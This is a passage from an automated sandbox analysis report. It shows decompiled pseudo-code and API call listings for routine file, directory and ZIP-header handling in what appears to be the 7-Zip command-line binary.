						 *_t74 = _t38;
						if(_t38 == 0xffffffff) {
							 *(_t76 - 0x18) = 0;
							 *((intOrPtr*)(_t76 - 0x14)) = 0;
							 *((intOrPtr*)(_t76 - 0x10)) = 0;
							E00401E9A(_t76 - 0x18, 3);
							 *((intOrPtr*)(_t76 - 4)) = 2;
							_t41 = E0040B863(_t76 - 0x18);
							__eflags = _t41;
							if(_t41 != 0) {
								 *_t74 = CreateFileW( *(_t76 - 0x18),  *(_t76 + 0xc),  *(_t76 + 0x10), 0,  *(_t76 + 0x14),  *(_t76 + 0x18), 0);
							}
							E00407A18( *(_t76 - 0x18));
						}
						__eflags =  *_t74 - 0xffffffff;
						_t74[1] = 0;
						_t33 =  *_t74 != 0xffffffff;
						__eflags = _t33;
						_t37 = 0 | _t33;
					}
				} else {
					E00403532(_t76 - 0x24,  *(_t76 + 8));
					 *((intOrPtr*)(_t76 - 4)) = 0;
					_t45 = AreFileApisANSI();
					asm("sbb eax, eax");
					_push( ~_t45 + 1);
					_t48 = E0040822F(_t76 - 0x30);
					 *((char*)(_t76 - 4)) = 1;
					_t50 = E0040B882(_t74, _t81,  *_t48,  *(_t76 + 0xc),  *(_t76 + 0x10),  *(_t76 + 0x14),  *(_t76 + 0x18));
					E00407A18( *((intOrPtr*)(_t76 - 0x30)));
					E00407A18( *((intOrPtr*)(_t76 - 0x24)));
					_t37 = _t50;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t76 - 0xc));
				return _t37;
			}

0x0040b8c4
0x0040b8cf
0x0040b8d6
0x0040b8d8
0x0040b933
0x0040b938
0x0040b93a
0x0040b954
0x0040b956
0x0040b959
0x0040b95b
0x0040b962
0x0040b965
0x0040b968
0x0040b96b
0x0040b976
0x0040b97d
0x0040b982
0x0040b984
0x0040b999
0x0040b999
0x0040b99e
0x0040b9a3
0x0040b9a6
0x0040b9a9
0x0040b9ad
0x0040b9ad
0x0040b9ad
0x0040b9ad
0x0040b8da
0x0040b8e0
0x0040b8e5
0x0040b8e8
0x0040b8f0
0x0040b8f9
0x0040b8fa
0x0040b906
0x0040b914
0x0040b91e
0x0040b926
0x0040b92c
0x0040b92e
0x0040b9b5
0x0040b9bd

APIs

__EH_prolog.LIBCMT ref: 0040B8C4
AreFileApisANSI.KERNEL32(?,000000FF,00000000,00000080,0040BC55,?,00000000,0040B46E,?,59@), ref: 0040B8E8

Part of subcall function 0040B882: CreateFileA.KERNEL32(?,00000000,?,00000000,?,?,00000000), ref: 0040B8A4

Part of subcall function 0040B9C0: CloseHandle.KERNEL32(00000000), ref: 0040B9CB

CreateFileW.KERNEL32(?,?,?,00000000,0040B46E,00000000,00000000), ref: 0040B954
CreateFileW.KERNEL32(?,00000003,00000000,00000000,?,?,00000000), ref: 0040B997

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00409CCB, Relevance: 6.1, APIs: 4, Instructions: 65

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409CCB(WCHAR* __ecx) {
				int _t17;
				signed int _t19;
				int _t23;
				signed int _t26;
				void* _t50;
				intOrPtr _t55;

				E0046B890(E00473A84, _t50);
				_t55 =  *0x490a7c; // 0x1
				if(_t55 != 0) {
					_t17 = CreateDirectoryW(__ecx, 0); // executed
					if(_t17 == 0) {
						if(GetLastError() == 0xb7) {
							L8:
							_t19 = 0;
						} else {
							 *(_t50 - 0x18) = 0;
							 *((intOrPtr*)(_t50 - 0x14)) = 0;
							 *((intOrPtr*)(_t50 - 0x10)) = 0;
							E00401E9A(_t50 - 0x18, 3);
							 *((intOrPtr*)(_t50 - 4)) = 0;
							if(E0040B863(_t50 - 0x18) == 0) {
								E00407A18( *(_t50 - 0x18));
								goto L8;
							} else {
								_t23 = CreateDirectoryW( *(_t50 - 0x18), 0);
								_t19 = E00407A18( *(_t50 - 0x18)) & 0xffffff00 | _t23 != 0x00000000;
							}
						}
					} else {
						_t19 = 1;
					}
				} else {
					_t26 = E00409CBC( *((intOrPtr*)(E00409AD5(_t50 - 0x24, __ecx))));
					E00407A18( *((intOrPtr*)(_t50 - 0x24)));
					_t19 = _t26;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t50 - 0xc));
				return _t19;
			}

0x00409cd0
0x00409cdb
0x00409ce5
0x00409d0f
0x00409d13
0x00409d24
0x00409d6b
0x00409d6b
0x00409d26
0x00409d2b
0x00409d2e
0x00409d31
0x00409d34
0x00409d3e
0x00409d48
0x00409d65
0x00000000
0x00409d4a
0x00409d4e
0x00409d5d
0x00409d5d
0x00409d48
0x00409d15
0x00409d15
0x00409d15
0x00409ce7
0x00409cf3
0x00409cfd
0x00409d03
0x00409d03
0x00409d73
0x00409d7b

APIs

__EH_prolog.LIBCMT ref: 00409CD0
CreateDirectoryW.KERNELBASE(?,00000000,0000005C,?,00000000), ref: 00409D0F
GetLastError.KERNEL32(?,00000000,0000005C,?,00000000), ref: 00409D19
CreateDirectoryW.KERNEL32(?,00000000,00000003,?,00000000,0000005C,?,00000000), ref: 00409D4E

Part of subcall function 00409AD5: __EH_prolog.LIBCMT ref: 00409ADA
Part of subcall function 00409AD5: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00409AF6

Part of subcall function 00409CBC: CreateDirectoryA.KERNEL32(?,00000000,00409CF8,0000005C,?,00000000), ref: 00409CBF

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043FFA5, Relevance: 4.8, APIs: 3, Instructions: 295

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E0043FFA5(intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr* _t160;
				intOrPtr _t163;
				intOrPtr* _t183;
				signed int _t193;
				signed int _t197;
				intOrPtr _t201;
				intOrPtr* _t206;
				signed int _t219;
				intOrPtr* _t226;
				intOrPtr _t240;
				intOrPtr* _t252;
				intOrPtr* _t253;
				intOrPtr _t278;
				void* _t282;
				intOrPtr* _t284;
				intOrPtr* _t285;
				intOrPtr* _t287;
				intOrPtr* _t289;
				intOrPtr* _t291;
				void* _t293;
				void* _t296;
				void* _t309;

				_t278 = __edx;
				E0046B890(E00478BFC, _t293);
				_t289 = __ecx;
				 *((intOrPtr*)(_t293 - 0x10)) = _t296 - 0xac;
				 *(__ecx + 0x68) =  *(__ecx + 0x68) & 0x00000000;
				 *((intOrPtr*)(_t293 - 0x20)) = __ecx;
				E0040862D();
				 *(_t293 - 4) = 0;
				_t160 = E0043FADE(__ecx,  *((intOrPtr*)(_t293 + 8)), _t293 - 0x1c, _t293 - 0x2c,  *((intOrPtr*)(_t293 + 0xc))); // executed
				 *(_t293 - 4) =  *(_t293 - 4) | 0xffffffff;
				if(_t160 == 1 || _t160 == 0) {
					 *(_t293 - 0x14) =  *( *((intOrPtr*)(_t293 + 8)) + 8);
					if(_t160 != 1) {
						L10:
						E0046CCB0(_t293 - 0x70, 0, 0x30);
						 *(_t293 + 0xf) =  *(_t293 + 0xf) & 0x00000000;
						_t240 =  *((intOrPtr*)(_t289 + 0x14));
						_t163 =  *((intOrPtr*)(_t289 + 4));
						asm("sbb ebx, [esi+0x44]");
						_t282 =  *((intOrPtr*)(_t289 + 0x10)) -  *((intOrPtr*)(_t289 + 0x40)) - 4;
						asm("sbb ebx, 0x0");
						_t309 = _t163 -  *0x48d854; // 0x6064b50
						if(_t309 != 0) {
							L25:
							__eflags =  *((intOrPtr*)(_t289 + 4)) -  *0x48d858; // 0x7064b50
							if(__eflags != 0) {
								L29:
								__eflags =  *((intOrPtr*)(_t289 + 4)) -  *0x48d850; // 0x6054b50
								if(__eflags != 0) {
									goto L23;
								} else {
									E0043EEEC(_t289, _t278, __eflags, _t293 - 0x8c, 0x12);
									E0043FF1B(_t293 - 0x40, _t293 - 0x8c);
									_t252 =  *(_t293 + 0xf);
									__eflags = _t252;
									if(_t252 == 0) {
										L32:
										 *(_t293 - 0x6c) =  *(_t293 - 0x40) & 0x0000ffff;
									} else {
										__eflags =  *(_t293 - 0x40) - 0xffff;
										if( *(_t293 - 0x40) != 0xffff) {
											goto L32;
										}
									}
									__eflags = _t252;
									if(_t252 == 0) {
										L35:
										 *(_t293 - 0x68) =  *(_t293 - 0x3e) & 0x0000ffff;
									} else {
										__eflags =  *(_t293 - 0x3e) - 0xffff;
										if( *(_t293 - 0x3e) != 0xffff) {
											goto L35;
										}
									}
									__eflags = _t252;
									if(_t252 == 0) {
										L38:
										asm("cdq");
										 *(_t293 - 0x60) =  *(_t293 - 0x3c) & 0x0000ffff;
										 *((intOrPtr*)(_t293 - 0x5c)) = _t278;
									} else {
										__eflags =  *(_t293 - 0x3c) - 0xffff;
										if( *(_t293 - 0x3c) != 0xffff) {
											goto L38;
										}
									}
									__eflags = _t252;
									if(_t252 == 0) {
										L41:
										asm("cdq");
										 *(_t293 - 0x58) =  *(_t293 - 0x3a) & 0x0000ffff;
										 *((intOrPtr*)(_t293 - 0x54)) = _t278;
									} else {
										__eflags =  *(_t293 - 0x3a) - 0xffff;
										if( *(_t293 - 0x3a) != 0xffff) {
											goto L41;
										}
									}
									__eflags = _t252;
									if(_t252 == 0) {
										L44:
										_t284 = 0;
										 *((intOrPtr*)(_t293 - 0x50)) =  *((intOrPtr*)(_t293 - 0x38));
										 *((intOrPtr*)(_t293 - 0x4c)) = 0;
									} else {
										__eflags =  *((intOrPtr*)(_t293 - 0x38)) - 0xffffffff;
										if( *((intOrPtr*)(_t293 - 0x38)) == 0xffffffff) {
											_t284 = 0;
											__eflags = 0;
										} else {
											goto L44;
										}
									}
									__eflags = _t252;
									if(_t252 == 0) {
										L48:
										 *((intOrPtr*)(_t293 - 0x44)) = _t284;
										 *((intOrPtr*)(_t293 - 0x48)) =  *((intOrPtr*)(_t293 - 0x34));
									} else {
										__eflags =  *((intOrPtr*)(_t293 - 0x34)) - 0xffffffff;
										if( *((intOrPtr*)(_t293 - 0x34)) != 0xffffffff) {
											goto L48;
										}
									}
									_t253 = _t289;
									E0043EF14(_t253, _t278, _t289 + 0x58,  *(_t293 - 0x30) & 0x0000ffff);
									__eflags =  *(_t293 - 0x6c) - _t284;
									if( *(_t293 - 0x6c) != _t284) {
										L58:
										 *((intOrPtr*)(_t293 - 0x78)) = 5;
										E0046B8F4(_t293 - 0x78, 0x486888);
										E0046B890(E00478C10, _t293);
										_push(_t253);
										_push(_t240);
										_push(_t289);
										_push(_t284);
										_t285 = _t253;
										_push(0x28);
										_t183 = E004079F2();
										__eflags = _t183;
										if(_t183 == 0) {
											_t291 = 0;
											__eflags = 0;
										} else {
											 *((intOrPtr*)(_t183 + 4)) = 0;
											 *((intOrPtr*)(_t183 + 8)) = 0;
											 *_t183 = 0x47b218;
											_t291 = _t183;
										}
										__eflags = _t291;
										 *((intOrPtr*)(_t293 - 0x10)) = _t291;
										if(_t291 != 0) {
											 *((intOrPtr*)( *_t291 + 4))(_t291);
										}
										__eflags =  *((intOrPtr*)(_t285 + 0x40)) +  *((intOrPtr*)(_t293 + 8));
										 *(_t293 - 4) = 0;
										asm("adc ecx, [ebp+0xc]");
										E004403D0(_t285,  *((intOrPtr*)(_t285 + 0x40)) +  *((intOrPtr*)(_t293 + 8)),  *((intOrPtr*)(_t285 + 0x44))); // executed
										_t146 = _t291 + 8; // 0x8
										E0040C9B4(_t146,  *_t285);
										 *((intOrPtr*)(_t291 + 0x10)) =  *((intOrPtr*)(_t293 + 0x10));
										 *((intOrPtr*)(_t291 + 0x14)) =  *((intOrPtr*)(_t293 + 0x14));
										 *((intOrPtr*)(_t291 + 0x18)) = 0;
										 *((intOrPtr*)(_t291 + 0x1c)) = 0;
										 *((char*)(_t291 + 0x20)) = 0;
										 *[fs:0x0] =  *((intOrPtr*)(_t293 - 0xc));
										return _t291;
									} else {
										__eflags =  *(_t293 - 0x68) - _t284;
										if( *(_t293 - 0x68) != _t284) {
											goto L58;
										} else {
											_t193 =  *(_t293 - 0x14);
											__eflags =  *(_t293 - 0x60) - _t193;
											if( *(_t293 - 0x60) != _t193) {
												goto L23;
											} else {
												__eflags =  *(_t293 - 0x58) - _t193;
												if( *(_t293 - 0x58) != _t193) {
													goto L23;
												} else {
													__eflags =  *((intOrPtr*)(_t293 - 0x50)) -  *((intOrPtr*)(_t293 - 0x2c));
													if( *((intOrPtr*)(_t293 - 0x50)) !=  *((intOrPtr*)(_t293 - 0x2c))) {
														goto L23;
													} else {
														__eflags =  *((intOrPtr*)(_t293 - 0x48)) -  *((intOrPtr*)(_t293 - 0x1c));
														if( *((intOrPtr*)(_t293 - 0x48)) ==  *((intOrPtr*)(_t293 - 0x1c))) {
															L56:
															 *(_t289 + 0x18) =  *(_t289 + 0x18) & 0x00000000;
															E0040DFD3(_t289 + 0x20);
															_t197 =  *(_t293 - 0x14);
															__eflags = _t197 -  *( *((intOrPtr*)(_t293 + 8)) + 8);
															 *((char*)(_t289 + 0x69)) = _t197 & 0xffffff00 | _t197 ==  *( *((intOrPtr*)(_t293 + 8)) + 8);
															 *((intOrPtr*)(_t289 + 0x50)) =  *((intOrPtr*)(_t289 + 0x10));
															 *((intOrPtr*)(_t289 + 0x54)) =  *((intOrPtr*)(_t289 + 0x14));
															_t160 = 0;
															__eflags = 0;
														} else {
															_t201 =  *((intOrPtr*)(_t293 + 8));
															__eflags =  *((intOrPtr*)(_t201 + 8)) - _t284;
															if( *((intOrPtr*)(_t201 + 8)) != _t284) {
																goto L23;
															} else {
																goto L56;
															}
														}
													}
												}
											}
											goto L57;
										}
									}
								}
							} else {
								E0043EF6A(_t289);
								 *((intOrPtr*)(_t293 - 0x24)) = E0043EF7E(_t289, _t278);
								 *((intOrPtr*)(_t293 - 0x20)) = _t278;
								E0043EF6A(_t289);
								__eflags = _t282 -  *((intOrPtr*)(_t293 - 0x24));
								if(_t282 !=  *((intOrPtr*)(_t293 - 0x24))) {
									goto L23;
								} else {
									__eflags = _t240 -  *((intOrPtr*)(_t293 - 0x20));
									if(__eflags != 0) {
										goto L23;
									} else {
										_t206 = E0043EF96(_t289, __eflags, _t289 + 4);
										__eflags = _t206;
										if(_t206 == 0) {
											goto L23;
										} else {
											goto L29;
										}
									}
								}
							}
						} else {
							 *(_t293 + 0xf) = 1;
							 *((char*)(_t289 + 0x68)) = 1;
							 *((intOrPtr*)(_t293 - 0x24)) = E0043EF7E(_t289, _t278);
							 *((intOrPtr*)(_t293 - 0x20)) = _t278;
							E0043EEEC(_t289, _t278, _t309, _t293 - 0xb8, 0x2c);
							E0043FF54(_t293 - 0x70, _t293 - 0xb8);
							asm("sbb ecx, 0x0");
							E0043EE46(_t289,  *((intOrPtr*)(_t293 - 0x24)) - 0x2c,  *((intOrPtr*)(_t293 - 0x20)));
							if(E0043EF96(_t289, _t309, _t289 + 4) == 0) {
								goto L23;
							} else {
								if( *(_t293 - 0x6c) != 0 ||  *(_t293 - 0x68) != 0) {
									 *((intOrPtr*)(_t293 - 0x74)) = 5;
									E0046B8F4(_t293 - 0x74, 0x486888);
									goto L25;
								} else {
									_t219 =  *(_t293 - 0x14);
									asm("cdq");
									if( *(_t293 - 0x60) != _t219 ||  *((intOrPtr*)(_t293 - 0x5c)) != _t278 ||  *(_t293 - 0x58) != _t219 ||  *((intOrPtr*)(_t293 - 0x54)) != _t278 ||  *((intOrPtr*)(_t293 - 0x50)) !=  *((intOrPtr*)(_t293 - 0x2c)) ||  *((intOrPtr*)(_t293 - 0x4c)) !=  *((intOrPtr*)(_t293 - 0x28))) {
										goto L23;
									} else {
										if( *((intOrPtr*)(_t293 - 0x48)) !=  *((intOrPtr*)(_t293 - 0x1c)) ||  *((intOrPtr*)(_t293 - 0x44)) !=  *((intOrPtr*)(_t293 - 0x18))) {
											if( *( *((intOrPtr*)(_t293 + 8)) + 8) == 0) {
												goto L25;
											} else {
												goto L23;
											}
										} else {
											goto L25;
										}
									}
								}
							}
						}
					} else {
						_t226 =  *_t289;
						_t287 = _t289 + 0x10;
						 *(_t289 + 0x18) =  *(_t289 + 0x18) & 0x00000000;
						 *((intOrPtr*)(_t289 + 0x40)) = 0;
						 *((intOrPtr*)(_t289 + 0x44)) = 0;
						_t160 =  *((intOrPtr*)( *_t226 + 0x10))(_t226,  *((intOrPtr*)(_t289 + 0x48)),  *((intOrPtr*)(_t289 + 0x4c)), 0, _t287);
						if(_t160 != 0) {
							goto L57;
						} else {
							if( *_t287 !=  *((intOrPtr*)(_t289 + 0x48))) {
								L23:
								_t160 = 1;
								goto L57;
							} else {
								_t306 =  *((intOrPtr*)(_t287 + 4)) -  *((intOrPtr*)(_t289 + 0x4c));
								if( *((intOrPtr*)(_t287 + 4)) !=  *((intOrPtr*)(_t289 + 0x4c)) || E0043EF96(_t289, _t306, _t289 + 4) == 0) {
									goto L23;
								} else {
									_push(_t293 - 0x14);
									_push(_t293 - 0x1c);
									_push( *((intOrPtr*)(_t293 + 0xc)));
									_push( *((intOrPtr*)(_t293 + 8)));
									_t160 = E0043FB96(_t289, _t278);
									if(_t160 != 0) {
										goto L57;
									} else {
										asm("sbb ecx, [ebp-0x18]");
										 *((intOrPtr*)(_t293 - 0x2c)) =  *_t287 -  *((intOrPtr*)(_t293 - 0x1c)) - 4;
										asm("sbb ecx, ebx");
										 *((intOrPtr*)(_t293 - 0x1c)) =  *((intOrPtr*)(_t293 - 0x1c)) -  *((intOrPtr*)(_t289 + 0x40));
										 *((intOrPtr*)(_t293 - 0x28)) =  *((intOrPtr*)(_t287 + 4));
										asm("sbb [ebp-0x18], eax");
										goto L10;
									}
								}
							}
						}
					}
				} else {
					L57:
					 *[fs:0x0] =  *((intOrPtr*)(_t293 - 0xc));
					return _t160;
				}
			}

0x0043ffa5
0x0043ffaa
0x0043ffb7
0x0043ffbd
0x0043ffc0
0x0043ffc4
0x0043ffc7
0x0043ffdb
0x0043ffe1
0x0043fffd
0x00440004
0x00440017
0x0044001a
0x004400ae
0x004400b5
0x004400bd
0x004400c1
0x004400c4
0x004400cd
0x004400d0
0x004400d3
0x004400d6
0x004400dc
0x004401ac
0x004401af
0x004401b5
0x004401eb
0x004401ee
0x004401f4
0x00000000
0x004401f6
0x00440201
0x00440210
0x00440215
0x00440218
0x0044021a
0x00440224
0x00440228
0x0044021c
0x0044021c
0x00440222
0x00000000
0x00000000
0x00440222
0x0044022b
0x0044022d
0x00440237
0x0044023b
0x0044022f
0x0044022f
0x00440235
0x00000000
0x00000000
0x00440235
0x0044023e
0x00440240
0x0044024a
0x0044024e
0x0044024f
0x00440252
0x00440242
0x00440242
0x00440248
0x00000000
0x00000000
0x00440248
0x00440255
0x00440257
0x00440261
0x00440265
0x00440266
0x00440269
0x00440259
0x00440259
0x0044025f
0x00000000
0x00000000
0x0044025f
0x0044026c
0x0044026e
0x00440276
0x00440279
0x0044027b
0x0044027e
0x00440270
0x00440270
0x00440274
0x00440283
0x00440283
0x00000000
0x00000000
0x00000000
0x00440274
0x00440285
0x00440287
0x0044028f
0x00440292
0x00440295
0x00440289
0x00440289
0x0044028d
0x00000000
0x00000000
0x0044028d
0x004402a1
0x004402a3
0x004402a8
0x004402ab
0x00440323
0x0044032c
0x00440333
0x0044033d
0x00440342
0x00440343
0x00440344
0x00440345
0x00440346
0x00440348
0x0044034a
0x00440352
0x00440354
0x00440366
0x00440366
0x00440356
0x00440356
0x00440359
0x0044035c
0x00440362
0x00440362
0x00440368
0x0044036a
0x0044036d
0x00440372
0x00440372
0x0044037b
0x0044037e
0x00440381
0x00440388
0x0044038f
0x00440392
0x0044039d
0x004403a3
0x004403a6
0x004403a9
0x004403ac
0x004403b4
0x004403bc
0x004402ad
0x004402ad
0x004402b0
0x00000000
0x004402b2
0x004402b2
0x004402b5
0x004402b9
0x00000000
0x004402bf
0x004402bf
0x004402c3
0x00000000
0x004402c9
0x004402cc
0x004402cf
0x00000000
0x004402d5
0x004402d8
0x004402db
0x004402e9
0x004402e9
0x004402f0
0x004402f8
0x004402fb
0x00440301
0x00440307
0x0044030d
0x00440310
0x00440310
0x004402dd
0x004402dd
0x004402e0
0x004402e3
0x00000000
0x00000000
0x00000000
0x00000000
0x004402e3
0x004402db
0x004402cf
0x004402c3
0x00000000
0x004402b9
0x004402b0
0x004402ab
0x004401b7
0x004401b9
0x004401c7
0x004401ca
0x004401cd
0x004401d2
0x004401d5
0x00000000
0x004401d7
0x004401d7
0x004401da
0x00000000
0x004401dc
0x004401e2
0x004401e7
0x004401e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004401e9
0x004401da
0x004401d5
0x004400e2
0x004400e4
0x004400e8
0x004400f1
0x004400ff
0x00440102
0x00440111
0x0044011f
0x00440126
0x00440138
0x00000000
0x0044013a
0x0044013e
0x004401a0
0x004401a7
0x00000000
0x00440146
0x00440146
0x0044014c
0x0044014f
0x00000000
0x00440176
0x0044017c
0x0044018d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0044017c
0x0044014f
0x0044013e
0x00440138
0x00440020
0x00440020
0x00440022
0x00440025
0x0044002b
0x00440031
0x0044003a
0x0044003f
0x00000000
0x00440045
0x0044004a
0x0044018f
0x00440191
0x00000000
0x00440050
0x00440053
0x00440056
0x00000000
0x0044006f
0x00440074
0x00440078
0x00440079
0x0044007c
0x0044007f
0x00440086
0x00000000
0x0044008c
0x00440094
0x0044009a
0x004400a0
0x004400a2
0x004400a8
0x004400ab
0x00000000
0x004400ab
0x00440086
0x00440056
0x0044004a
0x0044003f
0x00440312
0x00440312
0x00440317
0x00440320
0x00440320

APIs

__EH_prolog.LIBCMT ref: 0043FFAA
__CxxThrowException@8.LIBC ref: 004401A7

Part of subcall function 0043EEEC: __CxxThrowException@8.LIBC ref: 0043EF0B

__CxxThrowException@8.LIBC ref: 00440333

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 0043FB96: __EH_prolog.LIBCMT ref: 0043FB9B

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00409A29, Relevance: 4.6, APIs: 3, Instructions: 65

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409A29(WCHAR* __ecx, long __edx) {
				int _t18;
				signed int _t23;
				int _t24;
				signed int _t28;
				void* _t54;

				E0046B890(E00473A24, _t54);
				_t48 = __edx;
				if( *0x490a7c != 0) {
					_t18 = SetFileAttributesW(__ecx, __edx); // executed
					if(_t18 == 0) {
						 *(_t54 - 0x18) = 0;
						 *((intOrPtr*)(_t54 - 0x14)) = 0;
						 *((intOrPtr*)(_t54 - 0x10)) = 0;
						E00401E9A(_t54 - 0x18, 3);
						 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
						if(E0040B863(_t54 - 0x18) == 0) {
							E00407A18( *(_t54 - 0x18));
							_t23 = 0;
						} else {
							_t24 = SetFileAttributesW( *(_t54 - 0x18), _t48);
							_t23 = E00407A18( *(_t54 - 0x18)) & 0xffffff00 | _t24 != 0x00000000;
						}
					} else {
						_t23 = 1;
					}
				} else {
					_t28 = E004099A0( *((intOrPtr*)(E00409AD5(_t54 - 0x24, __ecx))), __edx);
					E00407A18( *((intOrPtr*)(_t54 - 0x24)));
					_t23 = _t28;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0xc));
				return _t23;
			}

0x00409a2e
0x00409a40
0x00409a44
0x00409a72
0x00409a76
0x00409a83
0x00409a86
0x00409a89
0x00409a8c
0x00409a91
0x00409aa1
0x00409abe
0x00409ac4
0x00409aa3
0x00409aa7
0x00409ab6
0x00409ab6
0x00409a78
0x00409a78
0x00409a78
0x00409a46
0x00409a56
0x00409a60
0x00409a66
0x00409a66
0x00409acc
0x00409ad4

APIs

__EH_prolog.LIBCMT ref: 00409A2E
SetFileAttributesW.KERNELBASE(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00409A72
SetFileAttributesW.KERNEL32(?,?,00000003,?,?,?,?,00000000), ref: 00409AA7

Part of subcall function 00409AD5: __EH_prolog.LIBCMT ref: 00409ADA
Part of subcall function 00409AD5: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00409AF6

Part of subcall function 004099A0: SetFileAttributesA.KERNEL32(?,?,00409A5B,?,?,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 004099A2

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E717, Relevance: 4.6, APIs: 3, Instructions: 51

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0046E717(void* __esi, int _a4, intOrPtr _a8, char _a12) {
				intOrPtr _t9;
				intOrPtr* _t11;
				char _t16;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;
				void* _t32;

				_t24 = __esi;
				E0046E7BC();
				_t23 = 1;
				_t27 =  *0x49372c - _t23; // 0x1
				if(_t27 == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				_t16 = _a12;
				 *0x493728 = _t23;
				 *0x493724 = _t16;
				if(_a8 == 0) {
					_t9 =  *0x496594; // 0x12d5ea0
					if(_t9 != 0) {
						_t22 =  *0x496590; // 0x12d5ecc
						_push(_t24);
						_t4 = _t22 - 4; // 0x12d5ec8
						_t25 = _t4;
						if(_t25 >= _t9) {
							do {
								_t11 =  *_t25;
								if(_t11 != 0) {
									 *_t11();
								}
								_t25 = _t25 - 4;
								_t32 = _t25 -  *0x496594; // 0x12d5ea0
							} while (_t32 >= 0);
						}
					}
					E0046E7CE(0x48a0e0, 0x48a0e8);
				}
				E0046E7CE(0x48a0ec, 0x48a0f4);
				if(_t16 == 0) {
					 *0x49372c = _t23; // executed
					ExitProcess(_a4);
				}
				return E0046E7C5();
			}

0x0046e717
0x0046e718
0x0046e71f
0x0046e720
0x0046e726
0x0046e733
0x0046e733
0x0046e73f
0x0046e743
0x0046e749
0x0046e74f
0x0046e751
0x0046e758
0x0046e75a
0x0046e760
0x0046e761
0x0046e761
0x0046e766
0x0046e768
0x0046e768
0x0046e76c
0x0046e76e
0x0046e76e
0x0046e770
0x0046e773
0x0046e773
0x0046e768
0x0046e77b
0x0046e786
0x0046e78c
0x0046e797
0x0046e7a1
0x0046e7ae
0x0046e7b4
0x0046e7b4
0x0046e7a9

APIs

GetCurrentProcess.KERNEL32(0046D01D,?,0046E702,00000000,00000000,00000000,0046D01D,00000000), ref: 0046E72C
TerminateProcess.KERNEL32(00000000,?,0046E702,00000000,00000000,00000000,0046D01D,00000000), ref: 0046E733
ExitProcess.KERNEL32 ref: 0046E7B4

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
